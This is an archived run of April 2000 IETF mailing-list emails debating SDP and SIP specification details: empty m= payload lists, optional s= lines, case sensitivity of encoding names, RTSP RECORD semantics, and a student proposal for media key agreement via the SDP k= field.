	(envelope-from mjh@hazard.aciri.org)
From: Mark Handley <mjh@aciri.org>
X-Organisation: ACIRI
To: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
cc: Nicolas Quartier <Nicolas.quartier@alcatel.be>, confctrl@ISI.EDU
Subject: Re: Setting SDP values for Unicast 
In-reply-to: Your message of "Sun, 16 Apr 2000 17:18:37 EDT."
             <38FA2E2D.B62E2BDB@cs.columbia.edu> 
Date: Sun, 16 Apr 2000 15:04:03 -0700
Message-ID: <84754.955922643@hazard.aciri.org>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


>> I think I found an inconsistency between RFC2543(SIP) and RFC2327
>> (SDP).
>> Section B2 of RFC2543 deals with the setting of SDP values for Unicast
>> and there it
>> is mentioned that:
>> 
>> If caller and callee have no media formats in common for a particular
>> stream, the callee MUST return a session description containing the
>> particular "m=" line, but with the port number set to zero, and no
>> payload types listed.
>> 
>> But according to RFC2327, at least 1 payload type should be present
>> in the "m=" line.
>
>This should probably be brought to the attention of the SDP authors, to
>be either fixed in the next version or otherwise resolved. Thanks.

Actually this sounds more like an SIP spec bug in its usage of SDP
than an SDP spec bug.  This usage is pushing the envelope of the
semantics of what SDP was defined for, but even so, the SIP spec
should not have stepped outside of valid SDP syntax.  A simple
solution would be to define in the SIP spec that in this context "-"
as a format means no formats in common.

Thanks to Nicholas for pointing this out - we definitely need to
decide on a single solution for this before we take SDP and SIP to
draft standard.

Cheers,	
	Mark

From confctrl-owner  Mon Apr 17 02:29:25 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id CAA12749
	for confctrl-outgoing; Mon, 17 Apr 2000 02:29:25 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id CAA12744
	for <confctrl@zephyr.isi.edu>; Mon, 17 Apr 2000 02:29:23 -0700 (PDT)
Received: from felix.intertex.se ([195.22.82.2])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id CAA04091
	for <confctrl@isi.edu>; Mon, 17 Apr 2000 02:29:01 -0700 (PDT)
Date: Mon, 17 Apr 2000 11:23:39 +0200 (CEST)
From: Lars Berggren <lars@intertex.se>
To: Anders Clausen <anders.clausen@intertex.se>
cc: sip@lists.bell-labs.com, confctrl@ISI.EDU
Subject: Re: [SIP] Key agreement using SIP/SDP?
In-Reply-To: <4.3.1.0.20000410150556.00a76ae0@pop3.intertex.se>
Message-ID: <Pine.LNX.4.21.0004170942500.10798-100000@obelix.intertex.se>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Anders and Thomas,

I am cc-ing this to the mmusic list since SDP is involved here.

First, I would say that you probably shouldn't say that it is the 180
response that contains the key agreement information, as I think that any 
response containing SDP is likely to be suitable. (183 and 200)

Second, I like the mechanism described here regarding agreement on keys
for RTP level encryption. However, as there has been no responses in this
thread from the WG, I would like to bring attention from the WG to this
topic again, hoping for more interest this time.

Does anyone else have comments on this? I really would like to see some
more discussion in this topic. What about the SIP security team, any
thoughts in this direction?

How about writing an ID on this to specify it clearer?


The advantages I can see with the proposal are:
1) Works through NATs.
2) It could be made generic. I believe any need for negotiation between
caller and callee when agreeing on a session key or shared secret (like 
diffie-hellman) could be signaled this way.
3) No need to rely on an infra-structure for fetching of public keys.

Disadvantages:
1) Another extension to SIP/SDP ?
2) The same key is used in the streams caller->callee and 
callee->caller. There may be applications that need to have different
keys in each stream.


Regards
Lars


On Mon, 10 Apr 2000, Anders Clausen wrote:
> Hello,
> 
> We are two students writing on a graduate thesis about VoIP security
> with SIP/SDP/RTP, with focus on encrypting the media stream. We are
> new to this, and would be grateful for help on this subject.
> 
> There are some problems transferring or agreeing on a session
> encryption key using the k= field in SDP, if one are to send it in a
> SIP INVITE through a NAT. Since the NAT needs to change some fields in
> the SDP description, the SDP must not be encrypted.
> 
> The end user should be oblivious of the FW/NAT and thus should neither
> query it for the adresses to enter into the SDP, nor depend on the FW
> to encrypt anything.
> 
> A couple of possible solutions (?).
> 
> The simplest (and least secure) way to transfer a symmetric key would
> be that the caller enters his public key (or Diffie-Hellman "A") into
> the k= field of the SDP.
> 
> "k=base64:<caller key>"
> 
> together with a couple of attributes that could look something like
> 
> "a=key-encr-alg:RSA"
> or
> "a=key-encr-alg:D-H"
> 
> for describing the algorithm the key in the k= field corresponds to,
> and
> 
> "a=media-encr-alg:3DES-CBC"
> 
> for describing preferred media encryption algorithm.
> 
> In case of RSA, the "callers key" is the public key, corresponding to
> a private key only known by him. In case of Diffie-Hellman the
> "callers key" is the "A"-part of the partly built media key.
> 
> The callee then generates a "callee key". In case of RSA, this is the
> symmetric media key, encrypted using the callers public key. In case
> of Diffie-Hellman, the "callee key" is the "B"-part of the partly
> built symmetric media key. The callee sends this back in the k= field
> in the SDP of the 180 response. Should the callee fail to meet the
> specific security wishes of the caller, it could simply omit the k=
> field in the response, and the caller could choose to proceed and not
> encrypt the media or just hang up.
> 
>   CALLER		          SIP-PROXY(s)                   CALLEE
>     |                           |                           |
>     | INVITE w/SDP(caller's key)|                           |
>     |-------------------------->| INVITE w/SDP(caller's key)|
>     |                           |-------------------------->|
>     |                           |                           |
>     |                           |   100                     |
>     |   100                     |<--------------------------|
>     |<--------------------------|                      Key generation
>     |                           |   180 w/SDP(callee's key) |
>     |   180 w/SDP(callee's key) |<--------------------------|
>     |<--------------------------|                           |
> 
> Another way could be to insert something similar to a TLS handshake
> (or some other more secure way of agreeing on or transferring keys)
> into the Reservation stage in the QoS/security negotiation described
> in draft-manyfolks-sip-resource-00.txt.
> 
> This would probably also need a couple of attributes to tell the
> callee which handshake protocol should be used.
> 
> Comments?
> 
> (After reading RFC 1889 (RTP), 1890 (AVP), 2327 (SDP), 2543 (SIP), and a
> number of drafts, we have not found any solutions to the problems
> described above.)
> 
> ---
> Anders Clausen <anders.clausen@intertex.se>
> Thomas Karlsson <thomas.karlsson@intertex.se>
> 
> 
> 
> _______________________________________________
> SIP mailing list
> SIP@lists.bell-labs.com
> http://lists.bell-labs.com/mailman/listinfo/sip
> 

Lars Berggren       <mailto:lars.berggren@intertex.se>
Intertex Data AB    tel: +46-8-6282828
Sundbyberg, Sweden  fax: +46-8-6286414


From confctrl-owner  Mon Apr 17 05:00:24 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id FAA17752
	for confctrl-outgoing; Mon, 17 Apr 2000 05:00:24 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id FAA17747
	for <confctrl@zephyr.isi.edu>; Mon, 17 Apr 2000 05:00:23 -0700 (PDT)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id FAA13434
	for <confctrl@ISI.EDU>; Mon, 17 Apr 2000 05:00:28 -0700 (PDT)
Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191])
	by cs.columbia.edu (8.9.3/8.9.3) with ESMTP id IAA17548;
	Mon, 17 Apr 2000 08:00:35 -0400 (EDT)
Message-ID: <38FAFCE3.9C0CD645@cs.columbia.edu>
Date: Mon, 17 Apr 2000 08:00:35 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.7 [en] (X11; U; SunOS 5.7 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: Mark Handley <mjh@aciri.org>
CC: Nicolas Quartier <Nicolas.quartier@alcatel.be>, confctrl@ISI.EDU
Subject: Re: Setting SDP values for Unicast
References: <84754.955922643@hazard.aciri.org>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Mark Handley wrote:
> 

> Actually this sounds more like an SIP spec bug in its usage of SDP
> than an SDP spec bug.  This usage is pushing the envelope of the
> semantics of what SDP was defined for, but even so, the SIP spec
> should not have stepped outside of valid SDP syntax.  A simple
> solution would be to define in the SIP spec that in this context "-"
> as a format means no formats in common.
> 
> Thanks to Nicholas for pointing this out - we definitely need to
> decide on a single solution for this before we take SDP and SIP to
> draft standard.

While this wasn't intentional, my general feeling is that any set should
always allow the empty set, as that's far more logical than defining a
specific symbol for the the empty set, from a special-case perspective.
After all, any robust implementation will need to deal with accidental
cases of this nature in any event. Thus, I would strongly favor allowing
empty sets anywhere where that's possible without causing confusion.

> 
> Cheers,
>         Mark

-- 
Henning Schulzrinne   http://www.cs.columbia.edu/~hgs

From confctrl-owner  Mon Apr 17 11:11:59 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA04845
	for confctrl-outgoing; Mon, 17 Apr 2000 11:11:59 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA04840
	for <confctrl@zephyr.isi.edu>; Mon, 17 Apr 2000 11:11:58 -0700 (PDT)
Received: from prognet.com (prognet.com [205.219.198.1])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id LAA29645
	for <confctrl@ISI.EDU>; Mon, 17 Apr 2000 11:12:03 -0700 (PDT)
Received: from robla350 ([172.22.101.226])
	by prognet.com (8.9.2/8.9.0) with ESMTP id LAA04835;
	Mon, 17 Apr 2000 11:12:12 -0700 (PDT)
Message-Id: <4.2.0.58.20000417110245.0361d200@goobox.prognet.com>
X-Sender: robla@goobox.prognet.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 
Date: Mon, 17 Apr 2000 11:12:01 -0700
To: Anthony Baxter <anthony@interlink.com.au>
From: Rob Lanphier <robla@real.com>
Subject: Re: Changes/clarifications to RTSP 
Cc: Henning Schulzrinne <hgs@cs.columbia.edu>, confctrl@ISI.EDU
In-Reply-To: <200004140552.PAA12252@mbuna.arbhome.com.au>
References: <Message from Rob Lanphier <robla@real.com>
 <4.2.0.58.20000413121825.01865100@goobox.prognet.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

At 03:52 PM 4/14/00 +1000, Anthony Baxter wrote:
> >>> Rob Lanphier wrote
> > I think I have to side with Henning on the concept of DELETE.  We already
> > have slid down the slippery slope of file management by creating the
> > ANNOUNCE/SETUP/RECORD functionality.  If one has file creation in a
> > protocol, I think it's necessary to have file deletion in the
> > protocol.  I'm not dug in on this position, but it seems sensible to me
> > (though I haven't done a lot of asking around with our RTSP 
> implementors here)
>
>But what do ANNOUNCE/SETUP/RECORD have to do with file creation? As far
>as I can see (and this is also going from the existing wording) RTSP is
>for setting up streams. ANNOUCE/RECORD is for setting up a stream or streams
>from the client to the server. I don't see anything about it specifically
>addressing creation of a file.

I urge you to go back and read the spec.  There's all sorts of discussion 
of RECORD as a file creation method.  RealNetworks' primary use of 
ANNOUNCE/SETUP/RECORD happens to not have much to do with actually putting 
bits to disk (it's used for hooking up a live encoder, though if the live 
archiving feature is turned on, a file is created).  However, there's a lot 
of language in the spec that assumes that file creation is going on (the 
presence of a "250 Low on Storage Space" response, the VCR analogies 
throughout, the fact that the method is called "RECORD" and not "LISTEN" or 
"RELAY").

I'm going to let the people who really want this method argue for it from 
here on out, since I'm not particularly wedded to it.

Rob


From confctrl-owner  Mon Apr 17 20:35:58 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id UAA27368
	for confctrl-outgoing; Mon, 17 Apr 2000 20:35:58 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id UAA27363
	for <confctrl@zephyr.isi.edu>; Mon, 17 Apr 2000 20:35:57 -0700 (PDT)
Received: from redball.dynamicsoft.com ([216.173.40.51])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id UAA23647
	for <confctrl@ISI.EDU>; Mon, 17 Apr 2000 20:36:02 -0700 (PDT)
Received: from dynamicsoft.com ([63.38.191.103])
	by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id XAA26110;
	Mon, 17 Apr 2000 23:37:17 -0400 (EDT)
Message-ID: <38FBDA51.E6925FA4@dynamicsoft.com>
Date: Mon, 17 Apr 2000 23:45:21 -0400
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Organization: dynamicsoft
X-Mailer: Mozilla 4.7 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Lars Berggren <lars@intertex.se>
CC: Anders Clausen <anders.clausen@intertex.se>, sip@lists.bell-labs.com,
        confctrl@ISI.EDU
Subject: Re: [SIP] Key agreement using SIP/SDP?
References: <Pine.LNX.4.21.0004170942500.10798-100000@obelix.intertex.se>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

My general feeling is queasiness. Security protocols are hard to get
right. In general, wherever possible, I would prefer to use a real,
established, tested, and understood security protocol rather than try to
add one into SIP itself. In this case, we have numerous key exchange
protocols at our disposal, including IKE and kerberos. 

-Jonathan R.

Lars Berggren wrote:
> 
> Anders and Thomas,
> 
> I am cc-ing this to the mmusic list since SDP is involved here.
> 
> First, I would say that you probably shouldn't say that it is the 180
> response that contains the key agreement information, as I think that any
> response containing SDP is likely to be suitable. (183 and 200)
> 
> Second, I like the mechanism described here regarding agreement on keys
> for RTP level encryption. However, as there has been no responses in this
> thread from the WG, I would like to bring attention from the WG to this
> topic again, hoping for more interest this time.
> 
> Does anyone else have comments on this? I really would like to see some
> more discussion in this topic. What about the SIP security team, any
> thoughts in this direction?
> 
> How about writing an ID on this to specify it clearer?
> 
> The advantages I can see with the proposal are:
> 1) Works through NATs.
> 2) It could be made generic. I believe any need for negotiation between
> caller and callee when agreeing on a session key or shared secret (like
> diffie-hellman) could be signaled this way.
> 3) No need to rely on an infra-structure for fetching of public keys.
> 
> Disadvantages:
> 1) Another extension to SIP/SDP ?
> 2) The same key is used in the streams caller->callee and
> callee->caller. There may be applications that need to have different
> keys in each stream.
> 
> Regards
> Lars
> 
> On Mon, 10 Apr 2000, Anders Clausen wrote:
> > Hello,
> >
> > We are two students writing on a graduate thesis about VoIP security
> > with SIP/SDP/RTP, with focus on encrypting the media stream. We are
> > new to this, and would be grateful for help on this subject.
> >
> > There are some problems transferring or agreeing on a session
> > encryption key using the k= field in SDP, if one are to send it in a
> > SIP INVITE through a NAT. Since the NAT needs to change some fields in
> > the SDP description, the SDP must not be encrypted.
> >
> > The end user should be oblivious of the FW/NAT and thus should neither
> > query it for the adresses to enter into the SDP, nor depend on the FW
> > to encrypt anything.
> >
> > A couple of possible solutions (?).
> >
> > The simplest (and least secure) way to transfer a symmetric key would
> > be that the caller enters his public key (or Diffie-Hellman "A") into
> > the k= field of the SDP.
> >
> > "k=base64:<caller key>"
> >
> > together with a couple of attributes that could look something like
> >
> > "a=key-encr-alg:RSA"
> > or
> > "a=key-encr-alg:D-H"
> >
> > for describing the algorithm the key in the k= field corresponds to,
> > and
> >
> > "a=media-encr-alg:3DES-CBC"
> >
> > for describing preferred media encryption algorithm.
> >
> > In case of RSA, the "callers key" is the public key, corresponding to
> > a private key only known by him. In case of Diffie-Hellman the
> > "callers key" is the "A"-part of the partly built media key.
> >
> > The callee then generates a "callee key". In case of RSA, this is the
> > symmetric media key, encrypted using the callers public key. In case
> > of Diffie-Hellman, the "callee key" is the "B"-part of the partly
> > built symmetric media key. The callee sends this back in the k= field
> > in the SDP of the 180 response. Should the callee fail to meet the
> > specific security wishes of the caller, it could simply omit the k=
> > field in the response, and the caller could choose to proceed and not
> > encrypt the media or just hang up.
> >
> >   CALLER                        SIP-PROXY(s)                   CALLEE
> >     |                           |                           |
> >     | INVITE w/SDP(caller's key)|                           |
> >     |-------------------------->| INVITE w/SDP(caller's key)|
> >     |                           |-------------------------->|
> >     |                           |                           |
> >     |                           |   100                     |
> >     |   100                     |<--------------------------|
> >     |<--------------------------|                      Key generation
> >     |                           |   180 w/SDP(callee's key) |
> >     |   180 w/SDP(callee's key) |<--------------------------|
> >     |<--------------------------|                           |
> >
> > Another way could be to insert something similar to a TLS handshake
> > (or some other more secure way of agreeing on or transferring keys)
> > into the Reservation stage in the QoS/security negotiation described
> > in draft-manyfolks-sip-resource-00.txt.
> >
> > This would probably also need a couple of attributes to tell the
> > callee which handshake protocol should be used.
> >
> > Comments?
> >
> > (After reading RFC 1889 (RTP), 1890 (AVP), 2327 (SDP), 2543 (SIP), and a
> > number of drafts, we have not found any solutions to the problems
> > described above.)
> >
> > ---
> > Anders Clausen <anders.clausen@intertex.se>
> > Thomas Karlsson <thomas.karlsson@intertex.se>
> >
> >
> >
> > _______________________________________________
> > SIP mailing list
> > SIP@lists.bell-labs.com
> > http://lists.bell-labs.com/mailman/listinfo/sip
> >
> 
> Lars Berggren       <mailto:lars.berggren@intertex.se>
> Intertex Data AB    tel: +46-8-6282828
> Sundbyberg, Sweden  fax: +46-8-6286414

-- 
Jonathan D. Rosenberg                       72 Eagle Rock Ave.
Chief Scientist                             First Floor
dynamicsoft                                 East Hanover, NJ 07936
jdrosen@dynamicsoft.com                     FAX:   (732) 741-4778
http://www.cs.columbia.edu/~jdrosen         PHONE: (732) 741-7244
http://www.dynamicsoft.com

From confctrl-owner  Wed Apr 19 11:48:04 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA25764
	for confctrl-outgoing; Wed, 19 Apr 2000 11:48:04 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA25759
	for <confctrl@zephyr.isi.edu>; Wed, 19 Apr 2000 11:48:03 -0700 (PDT)
Received: from server.sipbakeoff.com (IDENT:root@[149.112.2.251])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id LAA25901
	for <confctrl@isi.edu>; Wed, 19 Apr 2000 11:48:08 -0700 (PDT)
Received: from cs.columbia.edu (dhcp185.sipbakeoff.org [149.112.3.185])
	by server.sipbakeoff.com (8.9.3/8.9.3) with ESMTP id MAA09952;
	Wed, 19 Apr 2000 12:49:35 GMT
Message-ID: <38FE0135.131B0802@cs.columbia.edu>
Date: Wed, 19 Apr 2000 14:55:49 -0400
From: Henning Schulzrinne <hgs@cs.columbia.edu>
X-Mailer: Mozilla 4.7 [en] (Win98; I)
X-Accept-Language: en
MIME-Version: 1.0
To: confctrl@ISI.EDU, sip@lists.bell-labs.com
Subject: SDP issues
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

During the SIP bake-off, two SDP-related issues were raised:

Currently, s= is defined as text, which is 1*(some set of bytes), i.e.,
at least one character. It doesn't seem necessary to enforce that s=
have anything in them (like a space). Other textual Internet protocols
seem to be fine with having empty unformatted fields (like Subject: in
email).

Secondly, the rtpmap description does not specify whether the 'encoding
name' is case-sensitive or not. Since it's also used as a media type and
media types are case-insensitive (RFC 2616, 3.7), it probably makes
sense to make them CI in SDP as well.

Comments are appreciated.

Henning

From confctrl-owner  Sat Apr 22 17:44:09 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id RAA16935
	for confctrl-outgoing; Sat, 22 Apr 2000 17:44:09 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id RAA16930
	for <confctrl@zephyr.isi.edu>; Sat, 22 Apr 2000 17:44:08 -0700 (PDT)
Received: from prognet.com (prognet.com [205.219.198.1])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id RAA23029
	for <confctrl@ISI.EDU>; Sat, 22 Apr 2000 17:44:12 -0700 (PDT)
Received: from jeffa_laptop ([172.23.103.129])
	by prognet.com (8.9.2/8.9.0) with ESMTP id RAA08532;
	Sat, 22 Apr 2000 17:44:43 -0700 (PDT)
Message-Id: <4.2.0.58.20000422173715.00b4a770@mail.real.com>
X-Sender: jeffa@mail.real.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 
Date: Sat, 22 Apr 2000 17:44:00 -0700
To: Henning Schulzrinne <hgs@cs.columbia.edu>, confctrl@ISI.EDU,
        sip@lists.bell-labs.com
From: Jeff Ayars <jeffa@real.com>
Subject: Re: SDP issues
In-Reply-To: <38FE0135.131B0802@cs.columbia.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

At 02:55 PM 4/19/00 -0400, Henning Schulzrinne wrote:
>During the SIP bake-off, two SDP-related issues were raised:
>
>Currently, s= is defined as text, which is 1*(some set of bytes), i.e.,
>at least one character. It doesn't seem necessary to enforce that s=
>have anything in them (like a space). Other textual Internet protocols
>seem to be fine with having empty unformatted fields (like Subject: in
>email).

Sounds like s= might as well be optional then.  There's already a great 
deal of flexibility in SDP that makes interoperation difficult.  The field 
is marked as required in the spec and the grammar for "text" is clearly 1 
or more.  I don't see a compelling reason to change this.


>Secondly, the rtpmap description does not specify whether the 'encoding
>name' is case-sensitive or not. Since it's also used as a media type and
>media types are case-insensitive (RFC 2616, 3.7), it probably makes
>sense to make them CI in SDP as well.

I completely agree with this clarification.  We have always treated it as 
case-insensitive and a consistent interpretation is needed for interoperation.

Jeff Ayars
Technical Lead, Core Technologies
RealNetworks, Inc.



From confctrl-owner  Sat Apr 22 17:48:31 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id RAA17092
	for confctrl-outgoing; Sat, 22 Apr 2000 17:48:31 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id RAA17087
	for <confctrl@zephyr.isi.edu>; Sat, 22 Apr 2000 17:48:29 -0700 (PDT)
Received: from smtp-out1.bellatlantic.net (smtp-out1.bellatlantic.net [199.45.39.156])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id RAA23154
	for <confctrl@ISI.EDU>; Sat, 22 Apr 2000 17:48:31 -0700 (PDT)
Received: from cs.columbia.edu (adsl-151-198-20-48.bellatlantic.net [151.198.20.48])
	by smtp-out1.bellatlantic.net (8.9.1/8.9.1) with ESMTP id UAA29776;
	Sat, 22 Apr 2000 20:48:40 -0400 (EDT)
Message-ID: <390248D1.1659235E@cs.columbia.edu>
Date: Sat, 22 Apr 2000 20:50:25 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
X-Mailer: Mozilla 4.7 [en]C-CCK-MCD BA45DSL  (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Jeff Ayars <jeffa@real.com>
CC: Henning Schulzrinne <hgs@cs.columbia.edu>, confctrl@ISI.EDU,
        sip@lists.bell-labs.com
Subject: Re: SDP issues
References: <4.2.0.58.20000422173715.00b4a770@mail.real.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



Jeff Ayars wrote:
> 
> At 02:55 PM 4/19/00 -0400, Henning Schulzrinne wrote:
> >During the SIP bake-off, two SDP-related issues were raised:
> >
> >Currently, s= is defined as text, which is 1*(some set of bytes), i.e.,
> >at least one character. It doesn't seem necessary to enforce that s=
> >have anything in them (like a space). Other textual Internet protocols
> >seem to be fine with having empty unformatted fields (like Subject: in
> >email).
> 
> Sounds like s= might as well be optional then.  There's already a great
> deal of flexibility in SDP that makes interoperation difficult.  The field
> is marked as required in the spec and the grammar for "text" is clearly 1
> or more.  I don't see a compelling reason to change this.
> 
Any half-way robust implementation needs to be able to deal with missing
s= and with s= followed by nothing. Might as well get the benefit of
allowing it officially.

From confctrl-owner  Sat Apr 22 19:12:30 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id TAA20561
	for confctrl-outgoing; Sat, 22 Apr 2000 19:12:30 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id TAA20556
	for <confctrl@zephyr.isi.edu>; Sat, 22 Apr 2000 19:12:29 -0700 (PDT)
Received: from hazard.aciri.org (adsl-63-196-11-252.dsl.snfc21.pacbell.net [63.196.11.252])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id TAA25999
	for <confctrl@ISI.EDU>; Sat, 22 Apr 2000 19:12:32 -0700 (PDT)
Received: from hazard.aciri.org (localhost.aciri.org [127.0.0.1])
	by hazard.aciri.org (8.9.3/8.9.3) with ESMTP id TAA25567;
	Sat, 22 Apr 2000 19:12:47 -0700 (PDT)
	(envelope-from mjh@hazard.aciri.org)
From: Mark Handley <mjh@aciri.org>
X-Organisation: ACIRI
To: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
cc: Jeff Ayars <jeffa@real.com>, Henning Schulzrinne <hgs@cs.columbia.edu>,
        confctrl@ISI.EDU, sip@lists.bell-labs.com
Subject: Re: SDP issues 
In-reply-to: Your message of "Sat, 22 Apr 2000 20:50:25 EDT."
             <390248D1.1659235E@cs.columbia.edu> 
Date: Sat, 22 Apr 2000 19:12:47 -0700
Message-ID: <25565.956455967@hazard.aciri.org>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


>Any half-way robust implementation needs to be able to deal with missing
>s= and with s= followed by nothing. Might as well get the benefit of
>allowing it officially.

Whatever you might wish the SDP spec would say, it's fairly clear on
this issue: if there's no s= line, you should treat the SDP as
corrupted and act accordingly.  If you send SDP without the s= line,
you are definitely not compliant with RFC 2327 and shouldn't expect
your message to be accepted.

Changing the spec at this stage would introduce backward compatibility
issues, so should not be done lightly.  The more incompatible changes
we introduce, the less likely we are to be able to move SDP (and hence
SIP and RTSP) to Draft Standard without cycling it at Proposed
Standard first.

Cheers,
	Mark

From confctrl-owner  Sun Apr 23 13:47:30 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id NAA25307
	for confctrl-outgoing; Sun, 23 Apr 2000 13:47:30 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id NAA25302
	for <confctrl@zephyr.isi.edu>; Sun, 23 Apr 2000 13:47:28 -0700 (PDT)
Received: from redball.dynamicsoft.com ([216.173.40.51])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id NAA28928
	for <confctrl@ISI.EDU>; Sun, 23 Apr 2000 13:47:31 -0700 (PDT)
Received: from dynamicsoft.com (1Cust81.tnt1.freehold.nj.da.uu.net [63.17.113.81])
	by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id QAA08353;
	Sun, 23 Apr 2000 16:49:02 -0400 (EDT)
Message-ID: <390363C2.9BAB847A@dynamicsoft.com>
Date: Sun, 23 Apr 2000 16:57:38 -0400
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Organization: dynamicsoft
X-Mailer: Mozilla 4.7 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Henning Schulzrinne <hgs@cs.columbia.edu>
CC: confctrl@ISI.EDU, sip@lists.bell-labs.com
Subject: Re: SDP issues
References: <38FE0135.131B0802@cs.columbia.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

There was another issue raised; SDP says very little overall about case
sensitivity. The type (m=, s=, etc.) is case sensitive, and the values
depend on the type. The only types which discuss case sensitivity are:

1. t and r, which indicate that the d,h,m,s (days, hour, minutes,
seconds) characters are case sensitive.
2. a=charset:, which uses case insensitive matching for the character
set.

So, we also agreed that in the spirit of SDP, all other values are CASE
SENSITIVE unless otherwise noted. This includes the encoding name
Henning mentions below, which, along with the character set, represent
the only two case insensitive matches in SDP (I believe).

-Jonathan R. 

Henning Schulzrinne wrote:
> 
> During the SIP bake-off, two SDP-related issues were raised:
> 
> Currently, s= is defined as text, which is 1*(some set of bytes), i.e.,
> at least one character. It doesn't seem necessary to enforce that s=
> have anything in them (like a space). Other textual Internet protocols
> seem to be fine with having empty unformatted fields (like Subject: in
> email).
> 
> Secondly, the rtpmap description does not specify whether the 'encoding
> name' is case-sensitive or not. Since it's also used as a media type and
> media types are case-insensitive (RFC 2616, 3.7), it probably makes
> sense to make them CI in SDP as well.
> 
> Comments are appreciated.
> 
> Henning

-- 
Jonathan D. Rosenberg                       72 Eagle Rock Ave.
Chief Scientist                             First Floor
dynamicsoft                                 East Hanover, NJ 07936
jdrosen@dynamicsoft.com                     FAX:   (732) 741-4778
http://www.cs.columbia.edu/~jdrosen         PHONE: (732) 741-7244
http://www.dynamicsoft.com

From confctrl-owner  Sun Apr 23 22:15:01 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id WAA14762
	for confctrl-outgoing; Sun, 23 Apr 2000 22:15:01 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id WAA14743
